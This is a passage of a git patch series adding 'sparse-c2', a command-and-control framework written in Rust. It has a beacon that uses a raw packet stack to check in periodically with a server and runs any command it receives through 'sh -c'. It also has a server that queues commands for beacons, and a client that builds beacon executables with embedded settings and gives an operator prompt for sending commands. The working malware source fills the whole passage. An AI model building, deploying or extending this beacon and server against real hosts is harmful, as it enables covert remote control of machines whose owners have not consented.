Ok(bytes_read) +} + +fn send_data( + socket: &mut TcpSocket, + data: Vec, +) -> anyhow::Result)>> { + let (mut prod, cons) = socket.tx_buffer.split_ref(); + + if cons.is_empty() { + _ = prod.push_iter(&mut data.into_iter()); + + Ok(vec![]) + } else { + _ = prod.push_iter(&mut data.into_iter()); + Ok(vec![]) + } +} + +fn close_connection(socket: &mut TcpSocket) -> anyhow::Result { + socket.state = TcpState::FinWait1; + + let peer = socket + .peer_info + .as_ref() + .context("no connection to close")?; + + Ok(TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .fin(true) + .ack(true) + .window(512) + .acknumber( + socket + .local_rx_last_ack + .context("information from synchronizing missing")?, + ) + .seqnumber(socket.local_seq_no) + .build(peer.local_addr, peer.remote_addr, vec![], None)) +} + +struct TcpSocketHandle { + state_changed: mpsc::Receiver, + send_channel: mpsc::Sender>, + close: mpsc::Sender<()>, + start_connect: mpsc::Sender<(Ipv4Addr, u16)>, + receiver_channel: mpsc::Receiver>, +} + +async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { + log::info!("Help!"); + loop { + log::info!("Starting another loop iteration"); + sleep(Duration::from_secs(conf.sleep_secs.into())).await; + log::info!("Done sleeping, verifying connection"); + + let _ = socket_handle + .start_connect + .send((conf.target_ip, conf.target_port)) + .await; + + loop { + let state = socket_handle.state_changed.recv().await; + dbg!(&state); + match state { + Some(TcpState::Established) => break, + _ => {} + } + } + + log::info!("Connected to server!"); + + match socket_handle.receiver_channel.recv().await { + Some(bytes) => { + log::info!("received a command!"); + match serde_json::from_slice::(&bytes) { + Ok(BeaconCommand::Command(cmd)) => { + log::info!("running command: {}", cmd.command); + let _ = Command::new("sh") + .arg("-c") + .arg(cmd.command) + .stdout(Stdio::inherit()) + .output() + .await; + } + Ok(BeaconCommand::Noop) => {} + Err(e) => { + log::error!("could not parse command from server {e:?}"); + } + } + } + None => { + log::error!("could not get packets from server") + } + } + + log::info!("Done getting data"); + + loop { + let state = socket_handle.state_changed.recv().await; + log::debug!("got state: {state:?}"); + match state { + Some(TcpState::Closed) => break, + _ => {} + } + } + + log::info!("Finished connection!"); + } +} + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + simple_logger::SimpleLogger::new() + .with_level(log::LevelFilter::Trace) + .with_module_level("tcp_test", log::LevelFilter::Info) + .init()?; + + let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?; + let conf: sparse_c2_messages::BeaconOptions = serde_json::from_slice(&conf_raw)?; + + let ip = conf.target_ip; + + let (ifname, _, srcip, src_mac, dst_mac, _) = { + let socket = netlink::Socket::new()?; + + let routes = socket.get_routes()?; + let neighs = socket.get_neigh()?; + let links = socket.get_links()?; + let addrs = socket.get_addrs()?; + + route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip) + .ok_or(anyhow!("unable to find a route to the IP"))? + }; + + let mut socket = TcpSocket::default(); + let mut interface = pcap_sys::Interface::::new(&ifname)?; + + let srcip = conf.source_ip; + dbg!(srcip, src_mac, dst_mac); + + // let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; + + interface.set_buffer_size(8192)?; + interface.set_non_blocking(true)?; + interface.set_promisc(false)?; + interface.set_timeout(10)?; + + let interface = interface.activate()?; + + macro_rules! format_packet { + ($tcp_packet:expr) => {{ + let ippkt = IPv4Packet::construct(srcip, ip, &Layer4Packet::TCP($tcp_packet)); + EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ippkt)) + }}; + } + + let (send_state_changed, mut receive_state_changed) = mpsc::channel(64); + let (port, packet) = connect( + &mut socket, + ip, + conf.target_port, + srcip, + &send_state_changed, + ) + .await; + _ = receive_state_changed.recv().await; + + interface.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; + + if interface.datalink() != pcap_sys::consts::DLT_EN10MB { + bail!("interface does not support ethernet"); + } + + let mut packets = interface.stream()?; + + packets.sendpacket(format_packet!(packet).pkt())?; + + let (send_channel, mut send_packet) = mpsc::channel(1024); + let (receive_packet, receiver_channel) = mpsc::channel(1024); + let (send_state_changed, state_changed) = mpsc::channel(1024); + let (close, mut recv_close) = mpsc::channel(16); + let (start_connect, mut handle_connect) = mpsc::channel(16); + + let socket_handle = TcpSocketHandle { + state_changed, + receiver_channel, + send_channel, + close, + start_connect, + }; + + task::spawn(async move { + use_socket(conf, socket_handle).await; + }); + + let mut packet_queue = VecDeque::new(); + + loop { + let deadline = Instant::now() + + socket + .retransmit_timeout + .unwrap_or_else(|| Duration::from_millis(10)); + + tokio::select! { + _ = sleep_until(deadline.into()) => { + let Ok(Some((b, d))) = process_timeout(&mut socket) else { continue; }; + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + }, + Some(Ok(bytes)) = packets.next() => { + let pkt = bytes.pkt(); + + match pkt.get_layer3_pkt() { + Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) => { + let Ok(Layer4Pkt::TCP(tcp_pkt)) = ip_pkt.get_layer4_packet() else { continue; }; + + if !socket_accepts_packet(&socket, &ip_pkt, &tcp_pkt) { + continue; + } + + let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt, &send_state_changed).await else { continue; }; + + if let Some(received) = received { + _ = receive_packet.send(received).await; + } + + for (b, d) in to_send { + log::trace!("adding packet to send: {b:?}"); + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + } + }, + Ok(Layer3Pkt::ARP(arp)) => { + if arp.opcode() != 1 || arp.plen() != 4 || arp.hwlen() != 6 { + continue; + } + + let senderip: [u8; 4] = arp.srcprotoaddr().try_into().unwrap(); + let sendermac: &[u8] = arp.srchwaddr(); + let queryip: [u8; 4] = arp.targetprotoaddr().try_into().unwrap(); + let queryip: Ipv4Addr = queryip.into(); + + if queryip != srcip { + continue; + } + + let response = ARPPacket::construct(ARPMode::Reply, ARPProto::IPv4, &src_mac, &sendermac, &queryip.octets(), &senderip); + let resp2 = EthernetPacket::construct(src_mac, sendermac.try_into().unwrap(), &Layer3Packet::ARP(response)); + log::trace!("adding packet to send: ARP"); + packet_queue.push_back(resp2); + }, + _ => continue + }; + }, + Some((remote_addr, remote_port)) = handle_connect.recv() => { + match socket.state { + TcpState::Established | TcpState::SynSent => { + send_state_changed.send(socket.state).await; + } + _ => { + let (port, packet) = connect( + &mut socket, + ip, + remote_port, + srcip, + &send_state_changed, + ) + .await; + + packets.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; + + packets.sendpacket(format_packet!(packet).pkt())?; + } + } + }, + Some(()) = recv_close.recv() => { + log::trace!("adding packet to send: TCP/IP close"); + let Ok(to_send) = close_connection(&mut socket) else { continue; }; + packet_queue.push_back(format_packet!(to_send)); + }, + Some(to_send) = send_packet.recv() => { + log::trace!("adding packet to send: TCP/IP message send"); + match send_data(&mut socket, to_send) { + Ok(pkts) => { + for (b, d) in pkts { + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + } + } + _ => continue + } + }, + else => { continue; } + } + + if let Some(packet) = packet_queue.pop_front() { + log::trace!("sending packet now ({packet:?})"); + _ = packets.sendpacket(packet.pkt()); + } + } +} diff --git a/sparse-c2/sparse-c2-client/Cargo.toml b/sparse-c2/sparse-c2-client/Cargo.toml new file mode 100644 index 0000000..ce50a45 --- /dev/null +++ b/sparse-c2/sparse-c2-client/Cargo.toml @@ -0,0 +1,13 @@ +[package] +name = "sparse-c2-client" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +anyhow = "1.0.75" +serde_json = "1.0.108" +sparse-c2-messages = { path = "../sparse-c2-messages" } +structopt = "0.3.26" +tokio = { version = "1.34.0", features = ["full"] } diff --git a/sparse-c2/sparse-c2-client/src/main.rs b/sparse-c2/sparse-c2-client/src/main.rs new file mode 100644 index 0000000..cc9a6bb --- /dev/null +++ b/sparse-c2/sparse-c2-client/src/main.rs @@ -0,0 +1,190 @@ +use std::{ + self, + io::{self, Write}, + net::{Ipv4Addr, SocketAddr}, +}; + +use structopt::StructOpt; +use tokio::{ + io::{AsyncReadExt, AsyncWriteExt}, + net::TcpStream, +}; + +use sparse_c2_messages::{BeaconId, BeaconOptions, ClientCommand, ClientResponse, CONF_SEPARATOR}; + +#[cfg(debug_assertions)] +const BEACON: &'static [u8] = include_bytes!("../../../target/debug/sparse-c2-beacon"); +#[cfg(not(debug_assertions))] +const BEACON: &'static [u8] = include_bytes!("../../../target/release/sparse-c2-beacon"); + +#[derive(StructOpt)] +enum Command { + Generate { + #[structopt(short = "i", long)] + target_ip: Ipv4Addr, + + #[structopt(short = "p", long)] + target_port: u16, + + #[structopt(short = "o", long)] + source_ip: Ipv4Addr, + + #[structopt(short = "s", long)] + sleep_secs: u32, + + #[structopt(short = "n", long)] + name: String, + }, +} + +#[derive(StructOpt)] +struct Options { + #[structopt(long, short)] + address: SocketAddr, + + #[structopt(subcommand)] + command: Option, +} + +async fn list_state(client: &mut TcpStream) -> anyhow::Result<()> { + let cmd = serde_json::to_vec(&ClientCommand::GetState)?; + + client.write(&cmd).await?; + + let mut buf = [0u8; 8192]; + let len = client.read_u32().await? as usize; + client.read(&mut buf[..len]).await?; + + let ClientResponse::StateUpdate(beacons, commands) = serde_json::from_slice(&buf[..len])?; + + println!("Commands issued:"); + for command in commands { + match command.beacon_id { + Some(beacon) => println!( + "\t[id {}] (targets: {}): {}", + command.command_id.0, beacon.0, command.command + ), + None => println!( + "\t[id {}] (targets: all): {}", + command.command_id.0, command.command + ), + } + } + + println!("\nBeacons:"); + for beacon in beacons { + print!("\t[id {}] (listening on: {}) ", beacon.id.0, beacon.port); + + match beacon.last_connection { + Some(ci) => print!("last checked in {ci}; "), + None => print!("has not checked in; "), + }; + + if beacon.done_commands.is_empty() { + println!("no commands executed"); + } else { + println!("{} commands executed", beacon.done_commands.len()); + for cmd in beacon.done_commands { + println!("\t\t[id {}] executed at {}", cmd.0 .0, cmd.1); + } + } + } + + Ok(()) +} + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + let options = Options::from_args(); + + let mut client = TcpStream::connect(options.address).await?; + + match &options.command { + Some(Command::Generate { + target_ip, + target_port, + source_ip, + sleep_secs, + name, + }) => { + let mut file = tokio::fs::OpenOptions::default() + .write(true) + .create(true) + .mode(0o755) + .open(name) + .await?; + + file.write_all(BEACON).await?; + file.write_all(CONF_SEPARATOR).await?; + + let conf = serde_json::to_vec(&BeaconOptions { + sleep_secs: *sleep_secs, + target_ip: *target_ip, + source_ip: *source_ip, + target_port: *target_port, + })?; + file.write_all(&conf).await?; + + let listen = + serde_json::to_vec(&ClientCommand::ListenFor(name.to_string(), *target_port))?; + + client.write_all(&listen).await?; + } + None => { + let stdin = io::stdin(); + let mut stdout = io::stdout(); + let mut selected_beacon: Option = None; + + loop { + let mut buffer = String::new(); + match selected_beacon { + Some(ref bid) => print!("{} >", bid.0), + None => print!("> "), + }; + stdout.flush()?; + stdin.read_line(&mut buffer)?; + + let mut items = buffer.trim().split(' '); + let cmd = items.next(); + + match cmd { + None | Some("") => { + eprintln!("Please enter a command!") + } + Some("list") => { + list_state(&mut client).await?; + } + Some("select") => { + let beacon = items.next(); + + match beacon { + Some(bid) => { + selected_beacon = Some(BeaconId(bid.to_owned())); + } + None => { + eprintln!("No beacon ID selected") + } + } + } + Some("cmd") => { + let parts = items.collect::>(); + let cmd = parts.join(" "); + + let cmd = serde_json::to_vec(&ClientCommand::SendCommand( + selected_beacon.clone(), + cmd, + ))?; + + client.write(&cmd).await?; + let _ = client.read_u32().await?; + } + Some(other) => { + eprintln!("Unknown command: {other}"); + } + } + } + } + } + + Ok(()) +} diff --git a/sparse-c2/sparse-c2-messages/Cargo.toml b/sparse-c2/sparse-c2-messages/Cargo.toml new file mode 100644 index 0000000..a5f0a1a --- /dev/null +++ b/sparse-c2/sparse-c2-messages/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "sparse-c2-messages" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +chrono = { version = "0.4.31", features = ["serde"] } +serde = { version = "1.0.193", features = ["derive"] } diff --git a/sparse-c2/sparse-c2-messages/src/lib.rs b/sparse-c2/sparse-c2-messages/src/lib.rs new file mode 100644 index 0000000..e7be1b6 --- /dev/null +++ b/sparse-c2/sparse-c2-messages/src/lib.rs @@ -0,0 +1,55 @@ +use std::net::Ipv4Addr; + +use chrono::prelude::*; +use serde::{Deserialize, Serialize}; + +pub const CONF_SEPARATOR: &'static [u8] = b"3ce6b7d3741941cbb88756c52ea8afdff45989fc440d47f295f77e068d3e19d4693c007b767b476cac7080c5cfb0bb63"; +pub const CLIENT_PORT: u16 = 2034; + +#[derive(Deserialize, Serialize, PartialEq, Eq, Clone)] +pub struct BeaconId(pub String); + +#[derive(Deserialize, Serialize, PartialEq, Eq, Clone, Copy)] +pub struct CommandId(pub u32); + +#[derive(Deserialize, Serialize)] +pub struct BeaconOptions { + pub target_ip: Ipv4Addr, + pub target_port: u16, + pub source_ip: Ipv4Addr, + pub sleep_secs: u32, +} + +#[derive(Deserialize, Serialize, Clone)] +pub struct Command { + pub beacon_id: Option, + pub command_id: CommandId, + pub command: String, +} + +#[derive(Deserialize, Serialize, Clone)] +pub struct BeaconInfo { + pub id: BeaconId, + pub port: u16, + pub last_connection: Option>, + pub done_commands: Vec<(CommandId, DateTime)>, +} + +#[derive(Deserialize, Serialize)] +pub enum BeaconCommand { + Command(Command), + Noop, +} + +#[derive(Deserialize, Serialize)] +pub enum ClientCommand { + GetState, + ListenFor(String, u16), + Stop(String), + SendCommand(Option, String), +} + +#[derive(Deserialize, Serialize)] +pub enum ClientResponse { + StateUpdate(Vec, Vec), +} diff --git a/sparse-c2/sparse-c2-server/Cargo.toml b/sparse-c2/sparse-c2-server/Cargo.toml new file mode 100644 index 0000000..52d32a1 --- /dev/null +++ b/sparse-c2/sparse-c2-server/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "sparse-c2-server" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +anyhow = "1.0.75" +chrono = "0.4.31" +log = "0.4.20" +nix = "0.27.1" +serde_json = "1.0.108" +simple_logger = "4.3.0" +sparse-c2-messages = { path = "../sparse-c2-messages" } +tokio = { version = "1.34.0", features = ["full"] } diff --git a/sparse-c2/sparse-c2-server/src/main.rs b/sparse-c2/sparse-c2-server/src/main.rs new file mode 100644 index 0000000..b42dfea --- /dev/null +++ b/sparse-c2/sparse-c2-server/src/main.rs @@ -0,0 +1,205 @@ +use std::{ + net::Ipv4Addr, + os::fd::AsRawFd, + sync::{ + atomic::{AtomicU32, Ordering}, + Arc, Mutex, + }, +}; + +use nix::libc::{ioctl, TIOCOUTQ}; +use tokio::{ + io::{AsyncReadExt, AsyncWriteExt}, + net::{TcpListener, TcpStream}, + task::yield_now, +}; + +use sparse_c2_messages::{ + BeaconCommand, BeaconId, BeaconInfo, ClientCommand, ClientResponse, Command, CommandId, + CLIENT_PORT, +}; + +async fn beacon_accept_task( + beacon: Arc>, + commands: Arc>>, +) -> anyhow::Result<()> { + let port = { + let beacon = beacon.lock().unwrap(); + beacon.port + }; + let socket = TcpListener::bind(format!("0.0.0.0:{port}")).await?; + + loop { + let (mut client, _) = socket.accept().await?; + + let commands_to_send: Vec<_> = { + let beacon = beacon.lock().unwrap(); + let commands = commands.lock().unwrap(); + commands + .iter() + .filter(|comm| { + (comm.beacon_id.is_none() || comm.beacon_id.as_ref() == Some(&beacon.id)) + && !beacon + .done_commands + .iter() + .any(|done_comm| done_comm.0 == comm.command_id) + }) + .map(Clone::clone) + .collect() + }; + + { + let mut beacon = beacon.lock().unwrap(); + log::info!("Beacon {} checking in", beacon.id.0); + beacon.last_connection = Some(chrono::Utc::now()); + } + + let Some(ref command_to_send) = commands_to_send.get(0) else { + let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Noop) else { + continue; + }; + + let _ = client.write_all(&buffer).await; + + let mut res = 0i16; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + while res != 0 { + yield_now().await; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + } + + continue; + }; + + let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Command((*command_to_send).clone())) + else { + continue; + }; + let _ = client.write_all(&buffer).await; + + let mut res = 0i16; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + while res != 0 { + yield_now().await; + unsafe { + ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res); + } + } + + { + let mut beacon = beacon.lock().unwrap(); + beacon + .done_commands + .push((command_to_send.command_id, chrono::Utc::now())); + } + } +} + +async fn handle_client( + command_id: Arc, + mut client: TcpStream, + beacons: Arc>>>>, + commands: Arc>>, +) -> anyhow::Result<()> { + loop { + let mut buffer = [0u8; 1024]; + let len = client.read(&mut buffer[..]).await?; + let Ok(cmd) = serde_json::from_slice::(&buffer[..len]) else { + continue; + }; + + match cmd { + ClientCommand::GetState => { + let beacons = { + let beacons = beacons.lock().unwrap(); + beacons + .iter() + .map(|beacon| beacon.lock().unwrap().clone()) + .collect() + }; + let commands = { + let commands = commands.lock().unwrap(); + commands.clone() + }; + let res = serde_json::to_vec(&ClientResponse::StateUpdate(beacons, commands))?; + client.write_u32(res.len() as u32).await?; + client.write(&res).await?; + } + ClientCommand::ListenFor(id, port) => { + let beacon = Arc::new(Mutex::new(BeaconInfo { + id: BeaconId(id), + port, + last_connection: None, + done_commands: vec![], + })); + + { + let mut beacons = beacons.lock().unwrap(); + beacons.push(Arc::clone(&beacon)); + } + + let commands = Arc::clone(&commands); + + tokio::spawn(async move { + if let Err(e) = beacon_accept_task(beacon, commands).await { + log::error!("could not handle beacon listener: {e:?}"); + } + }); + + client.write_u32(0).await?; + } + ClientCommand::SendCommand(id, command) => { + { + let mut commands = commands.lock().unwrap(); + let command_id = CommandId(command_id.fetch_add(1, Ordering::SeqCst)); + + commands.push(Command { + beacon_id: id, + command_id, + command, + }); + } + + client.write_u32(0).await?; + } + ClientCommand::Stop(_) => { + client.write_u32(0).await?; + } + } + } +} + +#[tokio::main(flavor = "current_thread")] +async fn main() -> anyhow::Result<()> { + simple_logger::SimpleLogger::new() + .with_level(log::LevelFilter::Trace) + .with_module_level("tcp_test", log::LevelFilter::Trace) + .init()?; + + let commands = Arc::new(Mutex::new(vec![])); + let beacons = Arc::new(Mutex::new(vec![])); + + let socket = TcpListener::bind(format!("0.0.0.0:{CLIENT_PORT}")).await?; + + let command_id = Arc::new(AtomicU32::from(0)); + + loop { + let (client, _) = socket.accept().await?; + + let beacons = Arc::clone(&beacons); + let commands = Arc::clone(&commands); + let command_id = Arc::clone(&command_id); + + tokio::spawn(async { + if let Err(e) = handle_client(command_id, client, beacons, commands).await { + log::error!("error handling client {e:?}"); + } + }); + } +} diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 00c27bf..dc9a021 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -390,7 +390,7 @@ async fn main() -> anyhow::Result<()> { let srcip: Ipv4Addr = srcip.into(); dbg!(srcip, src_mac, dst_mac); - let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; + // let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; interface.set_buffer_size(8192)?; interface.set_non_blocking(true)?; From afcc62df939cea93150b01d89c701a4e34c462c2 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 5 Dec 2023 14:46:24 -0500 Subject: [PATCH 13/15] updated logging for command receive in beacon --- sparse-c2/sparse-c2-beacon/src/main.rs | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/sparse-c2/sparse-c2-beacon/src/main.rs b/sparse-c2/sparse-c2-beacon/src/main.rs index a16676a..fc3ce05 100644 --- a/sparse-c2/sparse-c2-beacon/src/main.rs +++ b/sparse-c2/sparse-c2-beacon/src/main.rs @@ -321,11 +321,8 @@ struct TcpSocketHandle { } async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { - log::info!("Help!"); loop { - log::info!("Starting another loop iteration"); sleep(Duration::from_secs(conf.sleep_secs.into())).await; - log::info!("Done sleeping, verifying connection"); let _ = socket_handle .start_connect @@ -341,11 +338,11 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { } } - log::info!("Connected to server!"); + log::debug!("Connected to server!"); match socket_handle.receiver_channel.recv().await { Some(bytes) => { - log::info!("received a command!"); + log::debug!("received a command!"); match serde_json::from_slice::(&bytes) { Ok(BeaconCommand::Command(cmd)) => { log::info!("running command: {}", cmd.command); @@ -367,7 +364,7 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { } } - log::info!("Done getting data"); + log::debug!("Done getting data"); loop { let state = socket_handle.state_changed.recv().await; @@ -378,15 +375,15 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { } } - log::info!("Finished connection!"); + log::debug!("Finished connection!"); } } #[tokio::main] async fn main() -> anyhow::Result<()> { simple_logger::SimpleLogger::new() - .with_level(log::LevelFilter::Trace) - .with_module_level("tcp_test", log::LevelFilter::Info) + .with_level(log::LevelFilter::Log) + .with_module_level("tcp_test", log::LevelFilter::Log) .init()?; let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?; From 0021794c51904bfc01a61a8324a8eda748d6198f Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 5 Dec 2023 14:48:25 -0500 Subject: [PATCH 14/15] fixed compile error --- sparse-c2/sparse-c2-beacon/src/main.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sparse-c2/sparse-c2-beacon/src/main.rs b/sparse-c2/sparse-c2-beacon/src/main.rs index fc3ce05..d18714c 100644 --- a/sparse-c2/sparse-c2-beacon/src/main.rs +++ b/sparse-c2/sparse-c2-beacon/src/main.rs @@ -382,8 +382,8 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { #[tokio::main] async fn main() -> anyhow::Result<()> { simple_logger::SimpleLogger::new() - .with_level(log::LevelFilter::Log) - .with_module_level("tcp_test", log::LevelFilter::Log) + .with_level(log::LevelFilter::Info) + .with_module_level("tcp_test", log::LevelFilter::Info) .init()?; let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?; From 2f9746fa25fc3e5610a580527e38df5941790c2c Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 5 Dec 2023 15:16:20 -0500 Subject: [PATCH 15/15] added some creature comforts and cleaned logging --- sparse-c2/sparse-c2-beacon/src/main.rs | 4 +--- sparse-c2/sparse-c2-client/src/main.rs | 12 ++---------- 2 files changed, 3 insertions(+), 13 deletions(-) diff --git a/sparse-c2/sparse-c2-beacon/src/main.rs b/sparse-c2/sparse-c2-beacon/src/main.rs index d18714c..c5af605 100644 --- a/sparse-c2/sparse-c2-beacon/src/main.rs +++ b/sparse-c2/sparse-c2-beacon/src/main.rs @@ -331,7 +331,6 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { loop { let state = socket_handle.state_changed.recv().await; - dbg!(&state); match state { Some(TcpState::Established) => break, _ => {} @@ -383,7 +382,7 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { async fn main() -> anyhow::Result<()> { simple_logger::SimpleLogger::new() .with_level(log::LevelFilter::Info) - .with_module_level("tcp_test", log::LevelFilter::Info) + .with_module_level("sparse_c2_beacon", log::LevelFilter::Info) .init()?; let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?; @@ -407,7 +406,6 @@ async fn main() -> anyhow::Result<()> { let mut interface = pcap_sys::Interface::::new(&ifname)?; let srcip = conf.source_ip; - dbg!(srcip, src_mac, dst_mac); // let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; diff --git a/sparse-c2/sparse-c2-client/src/main.rs b/sparse-c2/sparse-c2-client/src/main.rs index cc9a6bb..3526f3c 100644 --- a/sparse-c2/sparse-c2-client/src/main.rs +++ b/sparse-c2/sparse-c2-client/src/main.rs @@ -138,7 +138,7 @@ async fn main() -> anyhow::Result<()> { loop { let mut buffer = String::new(); match selected_beacon { - Some(ref bid) => print!("{} >", bid.0), + Some(ref bid) => print!("{} > ", bid.0), None => print!("> "), }; stdout.flush()?; @@ -156,15 +156,7 @@ async fn main() -> anyhow::Result<()> { } Some("select") => { let beacon = items.next(); - - match beacon { - Some(bid) => { - selected_beacon = Some(BeaconId(bid.to_owned())); - } - None => { - eprintln!("No beacon ID selected") - } - } + selected_beacon = beacon.map(ToOwned::to_owned).map(BeaconId); } Some("cmd") => { let parts = items.collect::>();